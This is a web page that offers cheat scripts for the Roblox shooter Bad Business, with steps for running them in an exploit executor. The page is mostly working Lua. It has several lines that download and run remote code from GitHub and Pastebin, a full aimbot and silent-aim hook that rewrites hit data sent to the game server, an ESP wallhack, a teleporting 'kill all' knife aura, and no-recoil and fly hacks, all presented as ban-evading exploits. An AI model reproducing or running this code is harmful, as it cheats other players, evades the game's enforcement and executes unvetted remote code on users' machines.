Roblox Bad Business Script

In this guide, you’ll find all the available scripts for the Roblox Bad Business game along with the procedure of executing the scripts using the Roblox script executor. Additionally, you’ll find out about the perks that you’ll be getting by using these scripts.  

Bad Business

Bad Business on Roblox is an adrenaline-fueled first-person shooter that throws you into intense combat scenarios. Prepare for heart-pounding action as you engage in fast-paced FPS battles against other players. The game offers a wide range of weapons, you can create your own custom firearms. You will have the freedom to personalize your character’s appearance, ensuring you stand out on the battlefield.

Function of Scripts

The Bad Business script offers a suite of powerful functions to enhance gameplay. These functions will allow you to Bad business wallhack script, a Bad business no-ban hack script, and a Bad business script exploit working new hack. By executing the script, you can also get Bad Business aimbot, Bad Business owl hub exploit script, and many other features.

  • Bad business wallhack script
  • Bad business no ban hack script
  • Bad business script exploit working new hack
  • Bad business aimbot.
  • Bad busniess esp wall script hack
  • Bad business owl hub exploit script
  • Bad business trigger bot

Bad Business script

loadstring(game:HttpGet(“https://raw.githubusercontent.com/ttwizz/DarkHub_V4/main/init”, true))()
loadstring(game:HttpGet(“https://raw.githubusercontent.com/Sw1ndlerScripts/AlphaZero/main/Loader.lua”))()
loadstring(game:HttpGet(“https://raw.githubusercontent.com/Sw1ndlerScripts/AlphaZero/main/Loader.lua”))()
-- Services
local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local UserInputService = game:GetService("UserInputService")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
-- Modules
local Ts = require(ReplicatedStorage.TS)
-- Player
local Player = Players.LocalPlayer
local Mouse = Player:GetMouse()
local CurrentCamera = workspace.CurrentCamera
-- Library
local Library = loadstring(game:HttpGet("https://raw.githubusercontent.com/WetCheezit/UI-Libs/main/uwuware.lua"))()
local Math = loadstring(game:HttpGet("https://raw.githubusercontent.com/iRay888/Ray/main/Math"))()
-- Window(s)
local CombatWindow = Library:CreateWindow("Combat")
local EspWindow = Library:CreateWindow("Esp")
local MiscWindow = Library:CreateWindow("Misc")
local Settings = Library:CreateWindow("Settings")
-- Folders
local Main = CombatWindow:AddFolder("Aimbot")
local KnifeAura = CombatWindow:AddFolder("Knife Aura")
local EspMain = EspWindow:AddFolder("Main")
local EspSettings = EspWindow:AddFolder("Settings")
local GunMods = MiscWindow:AddFolder("Gun Mods")
local Misc = MiscWindow:AddFolder("Movement")
local MainSettings = Settings:AddFolder("Settings")
Main:AddToggle({text = "Enabled", flag = "aimbot_enabled"})
--Main:AddToggle({text = "Visible Check", flag = "aimbot_visiblecheck"})
Main:AddList({text = "Aimbot type", flag = "aimbot_type", value = "Redirection", values = {"Redirection", "Lock on"}})
Main:AddList({text = "Hitpart", flag = "aimbot_hitpart", value = "Abdomen", values = {"Abdomen", "Hips", "Chest", "Neck", "Head"}})
Main:AddSlider({text = "Redirection miss %", flag = "aimbot_misspercent", min = 0, max = 100, value = 0})
Main:AddSlider({text = "Aimbot smoothing", flag = "aimbot_smoothing", min = 3, max = 10, value = 5, float = 0.1})
Main:AddToggle({text = "Fov circle", flag = "aimbot_fovcircle"})
Main:AddSlider({text = "Fov radius", flag = "aimbot_fovradius", min = 10, max = 800, value = 100})
Main:AddColor({text = "Fov color", flag = "aimbot_fovcolor", value = Color3.fromRGB(255,255,255)})
KnifeAura:AddToggle({text = "Enabled", flag = "knifeaura_enabled"})
KnifeAura:AddToggle({text = "Auto knife", flag = "knifeaura_autoknife"})
KnifeAura:AddToggle({text = "Kill all", flag = "knifeaura_killall"})
KnifeAura:AddToggle({text = "Instant teleport", flag = "knifeaura_instanttp"})
KnifeAura:AddSlider({text = "Radius", flag = "knifeaura_radius", min = 0, max = 20, suffix = " Studs"})
KnifeAura:AddList({text = "Hitpart", flag = "knifeaura_hitpart", values = {"Abdomen", "Hips", "Chest", "Neck", "Head"}})
KnifeAura:AddLabel({text = "Turn off fly with kill all"})
GunMods:AddToggle({text = "No recoil", flag = "gun_norecoil"})
GunMods:AddToggle({text = "No spread", flag = "gun_nospread"})
Misc:AddToggle({text = "Click TP", flag = "misc_clicktp"})
Misc:AddBind({text = "TP Key", flag = "misc_clicktpbind", key = "Z", callback = function()
    local Character = Ts.Characters:GetCharacter(Player)
    if (Character and Character:FindFirstChild("Root") and Library.flags.misc_clicktp) then
        Character.Root.CFrame = Mouse.Hit * CFrame.new(0, 5, 0)
    end
end})
Misc:AddToggle({text = "Fly", flag = "misc_fly"})
Misc:AddSlider({text = "Fly speed", flag = "misc_flyspeed", min = 0, max = 100, value = 100})
EspMain:AddToggle({text = "Enabled", flag = "esp_enabled"})
EspMain:AddToggle({text = "Names", flag = "esp_names"})
EspMain:AddToggle({text = "Distance", flag = "esp_distance"})
EspMain:AddToggle({text = "Weapons", flag = "esp_weapons"})
EspMain:AddToggle({text = "Boxes", flag = "esp_boxes"})
EspMain:AddToggle({text = "Healthbars", flag = "esp_healthbars"})
EspSettings:AddList({text = "Text casing", flag = "esp_textcasing", values = {"Normal", "UPPERCASE", "lowercase"}})
MainSettings:AddBind({text = "Open / Close", key = "RightShift", callback = function()
    Library:Close()
end})
MainSettings:AddButton({text = "Copy discord invite", callback = function()
    setclipboard("https://discord.gg/etKPjb4n")
end})
MainSettings:AddLabel({text = "WetCheezit#4345"})
MainSettings:AddLabel({text = "siper#9938"})
-- Functions
local function CheckTeam(Target)
    return Ts.Teams:GetPlayerTeam(Target) ~= Ts.Teams:GetPlayerTeam(Player)
end
local function GetClosest(Fov)
    local Target, Closest = nil, Fov or math.huge
    for i,v in pairs(Players:GetPlayers()) do
        local Character = Ts.Characters:GetCharacter(v)
        if (v ~= Player and CheckTeam(v)) then
            if (Character and Character:FindFirstChild("Hitbox") and Character.Hitbox:FindFirstChild(Library.flags.aimbot_hitpart)) then
                local Position, OnScreen = CurrentCamera:WorldToScreenPoint(Character.Hitbox[Library.flags.aimbot_hitpart].Position)
                local Distance = (Vector2.new(Position.X, Position.Y) - Vector2.new(Mouse.X, Mouse.Y)).Magnitude
                if (Distance < Closest and OnScreen) then
                    Closest = Distance
                    Target = v
                end
            end
        end
    end
    return Target
end
local function GetDistanceClosest(MaxDist)
    local Target, Closest = nil, MaxDist or math.huge
    for i,v in pairs(Players:GetPlayers()) do
        local Character = Ts.Characters:GetCharacter(v)
        if (v ~= Player and CheckTeam(v)) then
            if (Character and Character:FindFirstChild("Hitbox") and Character.Hitbox:FindFirstChild(Library.flags.aimbot_hitpart)) then
                local LocalCharacter = Ts.Characters:GetCharacter(Player)
                if (LocalCharacter) then
                    local LocalRoot = LocalCharacter:FindFirstChild("Root")
                    local Root = Character:FindFirstChild("Root")
                    local Distance = (LocalRoot.Position - Root.Position).Magnitude
                    if (Distance < Closest) then
                        Closest = Distance
                        Target = v
                    end
                end
            end
        end
    end
    return Target
end
--[[local function IsVisible(Target)
    local Character = Ts.Characters:GetCharacter(Target)
    local RootPos = Character.Root.Position
    local IgnoreList = { CurrentCamera, Character, Character.Root, Ts.Characters:GetCharacter(Player) }
    return workspace:FindPartOnRayWithIgnoreList(Ray.new(CurrentCamera.CFrame.p, RootPos - CurrentCamera.CFrame.p), IgnoreList) == nil
end]]--
local function GetKnifeModel()
    local Character = Ts.Characters:GetCharacter(Player)
    if (Character and Character:FindFirstChild("Backpack") and Character.Backpack:FindFirstChild("Melee")) then
        return Character.Backpack.Melee.Value
    end
    return nil
end
local EspCache = {}
local function ParseText(Text)
    local Casing = Library.flags.esp_textcasing
    local NewText = Text
    if (Casing == "UPPERCASE") then
        NewText = NewText:upper()
    elseif (Casing == "lowercase") then
        NewText = NewText:lower()
    end
    return NewText
end
local function GetBoundingBox(Character)
    local Data = {}
    for i,v in pairs(Character.Body:GetChildren()) do
        for i2, v2 in pairs(Math.getpartinfo2(v.CFrame, v.Size)) do
            Data[#Data + 1] = v2
        end
    end
    return Math.getposlist2(Data)
end
local function Create(Class, Properties)
    local Object = Drawing.new(Class)
    for i,v in pairs(Properties) do
        Object[i] = v
    end
    return Object
end
local function AddEsp(Player)
    if (Player == Players.LocalPlayer) then
        return
    end
    local Objects = {
        Box = Create("Quad", {
            Visible = false,
            Color = Color3.new(1, 1, 1),
            Thickness = 1,
            Filled = false,
            ZIndex = 2,
        }),
        BoxOutline = Create("Quad", {
            Visible = false,
            Color = Color3.new(),
            Thickness = 3,
            Filled = false,
            ZIndex = 1,
        }),
        Name = Create("Text", {
            Visible = false,
            Color = Color3.new(1, 1, 1),
            Text = Player.Name,
            Size = 13,
            Center = true,
            Outline = true,
            OutlineColor = Color3.new(),
            Font = Drawing.Fonts.Plex
        }),
        Distance = Create("Text", {
            Visible = false,
            Color = Color3.new(1, 1, 1),
            Size = 13,
            Center = true,
            Outline = true,
            OutlineColor = Color3.new(),
            Font = Drawing.Fonts.Plex
        }),
        Weapon = Create("Text", {
            Visible = false,
            Color = Color3.new(1, 1, 1),
            Size = 13,
            Center = false,
            Outline = true,
            OutlineColor = Color3.new(),
            Font = Drawing.Fonts.Plex
        }),
        Healthbar = Create("Square", {
            Visible = false,
            Color = Color3.new(0, 1, 0),
            Thickness = 1,
            Filled = false,
            ZIndex = 2
        }),
        HealthbarOutline = Create("Square", {
            Visible = false,
            Color = Color3.new(),
            Thickness = 3,
            Filled = false,
            ZIndex = 1
        }),
    }
    local Connection; Connection = RunService.RenderStepped:Connect(function()
        local Character = Ts.Characters:GetCharacter(Player)
        if (Character and Character:FindFirstChild("Root") and CheckTeam(Player)) then
            local _, OnScreen = CurrentCamera:WorldToViewportPoint(Character.Root.Position)
            local CanShow = OnScreen and Library.flags.esp_enabled
            if (CanShow) then
                local Data = GetBoundingBox(Character)
                local Health, MaxHealth = Character.Health.Value, Character.Health.MaxHealth.Value
                local DistY = Data.Positions.TopLeft.Y - Data.Positions.BottomRight.Y
                local HealthbarSize = Vector2.new(2, DistY)
                local HealthbarPosition = Vector2.new(Data.Positions.TopLeft.X - (4 + Objects.Healthbar.Size.X), Data.Positions.BottomLeft.Y)
                Objects.Box.Visible = CanShow and Library.flags.esp_boxes
                Objects.BoxOutline.Visible = CanShow and Library.flags.esp_boxes
                for i,v in pairs(Data.Quad) do
                    Objects.Box[i] = v
                    Objects.BoxOutline[i] = v
                end
                Objects.Name.Visible = CanShow and Library.flags.esp_names
                Objects.Name.Text = ParseText(Player.Name)
                Objects.Name.Position = Vector2.new(Data.Positions.Middle.X, Data.Positions.TopLeft.Y - 15)
                Objects.Distance.Visible = CanShow and Library.flags.esp_distance
                Objects.Distance.Text = ParseText(math.floor((Character.Root.Position - CurrentCamera.CFrame.p).Magnitude) .. " Studs")
                Objects.Distance.Position = Vector2.new(Data.Positions.Middle.X, Data.Positions.BottomLeft.Y + 3)
                Objects.Weapon.Visible = CanShow and Library.flags.esp_weapons
                Objects.Weapon.Text = ParseText(Character.Backpack.Equipped.Value and Character.Backpack.Equipped.Value.Name or "UNKNOWN")
                Objects.Weapon.Position = Vector2.new(Data.Positions.TopRight.X + 4, Data.Positions.TopRight.Y - 2)
                Objects.Healthbar.Visible = CanShow and Library.flags.esp_healthbars
                Objects.Healthbar.Size = Vector2.new(HealthbarSize.X, HealthbarSize.Y * math.clamp((Health / MaxHealth), 0, 1))
                Objects.Healthbar.Position = HealthbarPosition
                Objects.HealthbarOutline.Visible = CanShow and Library.flags.esp_healthbars
                Objects.HealthbarOutline.Size = HealthbarSize
                Objects.HealthbarOutline.Position = HealthbarPosition
            else
                for i,v in pairs(Objects) do
                    v.Visible = false
                end
            end
        else
            for i,v in pairs(Objects) do
                v.Visible = false
            end
        end
    end)
    EspCache[Player] = {
        Objects = Objects,
        Connection = Connection,
    }
end
local function RemoveEsp(Player)
    local Data = EspCache[Player]
    if (Data) then
        Data.Connection:Disconnect()
        for i,v in pairs(Data.Objects) do
            v:Remove()
            v = nil
        end
    end
end
Library:Init()
-- Fov
local CircleInline = Drawing.new("Circle")
local CircleOutline = Drawing.new("Circle")
RunService.Heartbeat:Connect(function()
    CircleInline.Radius = Library.flags.aimbot_fovradius
    CircleInline.Thickness = 2
    CircleInline.Position = Vector2.new(Mouse.X, Mouse.Y + 36)
    CircleInline.Transparency = 1
    CircleInline.Color = Library.flags.aimbot_fovcolor
    CircleInline.Visible = Library.flags.aimbot_fovcircle
    CircleInline.ZIndex = 2
    CircleOutline.Radius = Library.flags.aimbot_fovradius
    CircleOutline.Thickness = 4
    CircleOutline.Position = Vector2.new(Mouse.X, Mouse.Y + 36)
    CircleOutline.Transparency = 1
    CircleOutline.Color = Color3.new()
    CircleOutline.Visible = Library.flags.aimbot_fovcircle
    CircleOutline.ZIndex = 1
end)
-- Aimbot
local Target
local MeleeTarget
RunService.Heartbeat:Connect(function()
    Target = GetClosest(Library.flags.aimbot_fovradius)
    MeleeTarget = GetDistanceClosest(Library.flags.knifeaura_radius)
end)
RunService.Heartbeat:Connect(function()
    if (Target) then
        local Character = Ts.Characters:GetCharacter(Target)
        if (Character and Character.Hitbox[Library.flags.aimbot_hitpart]) then
            local Position, OnScreen = CurrentCamera:WorldToScreenPoint(Character.Hitbox[Library.flags.aimbot_hitpart].Position)
            if (Library.flags.aimbot_visiblecheck and not IsVisible(Target)) then
                return
            end
            if (OnScreen and UserInputService:IsMouseButtonPressed(Enum.UserInputType.MouseButton2) and Library.flags.aimbot_enabled and Library.flags.aimbot_type == "Lock on") then
                mousemoverel((Position.X - Mouse.X) / Library.flags.aimbot_smoothing, (Position.Y - Mouse.Y) / Library.flags.aimbot_smoothing)
            end
        end
    end
end)
RunService.Heartbeat:Connect(function()
    local KnifeModel = GetKnifeModel()
    if (Library.flags.knifeaura_enabled and Library.flags.knifeaura_autoknife and MeleeTarget and KnifeModel) then
        local Character = Ts.Characters:GetCharacter(MeleeTarget)
        if (Character) then
            local Hitbox = Character:FindFirstChild("Hitbox")
            if (Hitbox) then
                Ts.Network:Fire("Item_Melee", "StabBegin", KnifeModel)
                Ts.Network:Fire("Item_Melee", "Stab", KnifeModel, Hitbox[Library.flags.knifeaura_hitpart], Hitbox[Library.flags.knifeaura_hitpart].Position, Vector3.new())
            end
        end
    end
end)
local CanKnifeRun = true
RunService.Heartbeat:Connect(function()
    if (not CanKnifeRun) then
        return
    end
    CanKnifeRun = false
    local KnifeModel = GetKnifeModel()
    if (Library.flags.knifeaura_enabled and Library.flags.knifeaura_killall and KnifeModel) then
        local Target = GetDistanceClosest()
        if (Target) then
            local Character = Ts.Characters:GetCharacter(Target)
            local LocalCharacter = Ts.Characters:GetCharacter(Player)
            if (LocalCharacter) then
                local Magnitude = (LocalCharacter.Root.Position - Character.Root.Position).Magnitude
                local Mag
                local BreakAmount
                if (Library.flags.knifeaura_instanttp) then
                    BreakAmount = math.huge
                else
                    BreakAmount = 50
                end
                if (Magnitude > BreakAmount) then
                    for i = 0, Magnitude, 0.05 do
                        Mag = (LocalCharacter.Root.Position - Character.Root.Position).Magnitude
                        if (Mag <= BreakAmount) then
                            break
                        end
                        LocalCharacter.Root.CanCollide = false
                        LocalCharacter.Root.CFrame = LocalCharacter.Root.CFrame:Lerp(Character.Root.CFrame, i / Mag)
                        task.wait(0.025)
                    end
                end
                LocalCharacter.Root.CanCollide = true
                LocalCharacter.Root.CFrame = Character.Root.CFrame * CFrame.new(0, 0, 5)
                Ts.Network:Fire("Item_Melee", "StabBegin", KnifeModel)
                Ts.Network:Fire("Item_Melee", "Stab", KnifeModel, Character.Hitbox[Library.flags.knifeaura_hitpart], Character.Hitbox[Library.flags.knifeaura_hitpart].Position, Vector3.new())
            end
        end
    end
    task.wait(0.35)
    CanKnifeRun = true
end)
local OldLookVector = Ts.Input.Reticle.LookVector; do
    Ts.Input.Reticle.LookVector = newcclosure(function(...)
        if (Library.flags.gun_nospread) then
            return CurrentCamera.CFrame.LookVector
        end
        return OldLookVector(...)
    end)
    debug.setupvalue(Ts.Input.Reticle.GetPosition, 2, Ts.Input.Reticle.LookVector)
end
local OldFire = Ts.Camera.Recoil.Fire; do
    Ts.Camera.Recoil.Fire = newcclosure(function(...)
        if (Library.flags.gun_norecoil) then
            return
        end
        return OldFire(...)
    end)
    debug.setupvalue(Ts.Camera.Recoil.Update, 2, Ts.Camera.Recoil.Fire)
end
RunService.Stepped:Connect(function()
    local Character = Ts.Characters:GetCharacter(Player)
    if (Character) then
        local Root = Character:FindFirstChild("Root")
        if (Root) then
            if (Library.flags.misc_fly) then
                local LookVector = CurrentCamera.CFrame.LookVector
                local RightVector = CurrentCamera.CFrame.RightVector
                local UpVector = Root.CFrame.UpVector
                local TargetVelocity = Vector3.new()
                local Moving = false
                if (UserInputService:IsKeyDown("W")) then
                    TargetVelocity = TargetVelocity + LookVector
                    Moving = true
                end
                if (UserInputService:IsKeyDown("S")) then
                    TargetVelocity = TargetVelocity + -LookVector
                    Moving = true
                end
                if (UserInputService:IsKeyDown("A")) then
                    TargetVelocity = TargetVelocity + -RightVector
                    Moving = true
                end
                if (UserInputService:IsKeyDown("D")) then
                    TargetVelocity = TargetVelocity + RightVector
                    Moving = true
                end
                if (UserInputService:IsKeyDown("Space")) then
                    TargetVelocity = TargetVelocity + UpVector
                    Moving = true
                end
                if (UserInputService:IsKeyDown("LeftShift")) then
                    TargetVelocity = TargetVelocity + -UpVector
                    Moving = true
                end
                Root.Anchored = not Moving
                Root.Velocity = TargetVelocity * Library.flags.misc_flyspeed
            else
                Root.Anchored = false
            end
        end
    end
end)
-- Esp
for i,v in pairs(Players:GetPlayers()) do
    AddEsp(v)
end
Players.PlayerAdded:Connect(function(Player)
    AddEsp(Player)
end)
Players.PlayerRemoving:Connect(function(Player)
    RemoveEsp(Player)
end)
local Old; Old = hookmetamethod(game, "__namecall", function(Self, ...)
    local Args = {...}
    local Method = getnamecallmethod()
    if (not checkcaller() and Method == "FireServer" and Self.Name == "Projectiles") then
        if (Target and Library.flags.aimbot_enabled and Library.flags.aimbot_type == "Redirection") then
            local Character = Ts.Characters:GetCharacter(Target)
            if (Character and Character.Hitbox and Character.Hitbox[Library.flags.aimbot_hitpart] and Args[1] == "__Hit") then
                --[[if (Library.flags.aimbot_visiblecheck and not IsVisible(Target)) then
                    return
                end]]--
                if (math.random(0, 100) >= Library.flags.aimbot_misspercent) then
                    Args[3] = Character.Hitbox[Library.flags.aimbot_hitpart].Position
                    Args[4] = Character.Hitbox[Library.flags.aimbot_hitpart]
                    Args[6] = Character
                end
            end
        end
    elseif (Self.Name == "Item_Melee" and Args[1] == "Stab" and Method == "FireServer") then
        if (MeleeTarget and Library.flags.knifeaura_enabled) then
            local Character = Ts.Characters:GetCharacter(MeleeTarget)
            Args[3] = Character.Hitbox[Library.flags.knifeaura_hitpart]
            Args[4] = Character.Hitbox[Library.flags.knifeaura_hitpart].Position
            Args[5] = Vector3.new()
        end
    end
    return Old(Self, unpack(Args))
end)
getgenv().silentaim_settings = {
   fov = 150,
   hitbox = "Head",
   fovcircle = true
}
-- Services
local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
-- Modules
local Ts = require(ReplicatedStorage.TS)
-- Player
local Player = Players.LocalPlayer
local Mouse = Player:GetMouse()
local CurrentCamera = workspace.CurrentCamera
-- Get Closest
local function GetClosest(Fov)
   local Target, Closest = nil, Fov or math.huge
   for i,v in pairs(Players:GetPlayers()) do
       local Character = Ts.Characters:GetCharacter(v)
       if (v and Character and v ~= Player and Character.Hitbox and Character.Hitbox:FindFirstChild(getgenv().silentaim_settings.hitbox)) then
           local Position, OnScreen = CurrentCamera:WorldToScreenPoint(Character.Hitbox[getgenv().silentaim_settings.hitbox].Position)
           local Distance = (Vector2.new(Position.X, Position.Y) - Vector2.new(Mouse.X, Mouse.Y)).Magnitude
           if (Distance < Closest and OnScreen) then
               Closest = Distance
               Target = v
           end
       end
   end
   return Target
end
-- Define target and draw circle
local Target
local CircleInline = Drawing.new("Circle")
local CircleOutline = Drawing.new("Circle")
RunService.Stepped:Connect(function()
   CircleInline.Radius = getgenv().silentaim_settings.fov
   CircleInline.Thickness = 2
   CircleInline.Position = Vector2.new(Mouse.X, Mouse.Y + 36)
   CircleInline.Transparency = 1
   CircleInline.Color = Color3.fromRGB(255, 255, 255)
   CircleInline.Visible = getgenv().silentaim_settings.fovcircle
   CircleInline.ZIndex = 2
   CircleOutline.Radius = getgenv().silentaim_settings.fov
   CircleOutline.Thickness = 4
   CircleOutline.Position = Vector2.new(Mouse.X, Mouse.Y + 36)
   CircleOutline.Transparency = 1
   CircleOutline.Color = Color3.new()
   CircleOutline.Visible = getgenv().silentaim_settings.fovcircle
   CircleOutline.ZIndex = 1
   Target = GetClosest(getgenv().silentaim_settings.fov)
end)
-- Main hooking
local Old; Old = hookmetamethod(game, "__namecall", function(Self, ...)
   local Args = {...}
   if (not checkcaller() and Target and Self.Name == "Projectiles") then
       Character = Ts.Characters:GetCharacter(Target)
       if (Character and Character.Hitbox and Character.Hitbox[getgenv().silentaim_settings.hitbox] and Args[1] == "__Hit") then
           Args[3] = Character.Hitbox[getgenv().silentaim_settings.hitbox].Position
           Args[4] = Character.Hitbox[getgenv().silentaim_settings.hitbox]
       end
   end
   return Old(Self, unpack(Args))
end)
loadstring(game:HttpGet(('https://pastebin.com/raw/yCrBkPaY'), true))()

How to execute Bad Business scripts? 

In order to execute Bad Business scripts you can follow these steps:

  • First, you have to copy the Bad Business script.
  • Launch the game, and paste the copied script into the designated box in the exploit executer.
  • Hit the Execute button to run the exploit and enjoy the free perks.

Best Roblox Script Executors

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  • JJ Spoilt Executor: An exceptionally potent anti-ban script executor tool designed for Roblox games, compatible with a wide range of operating systems.
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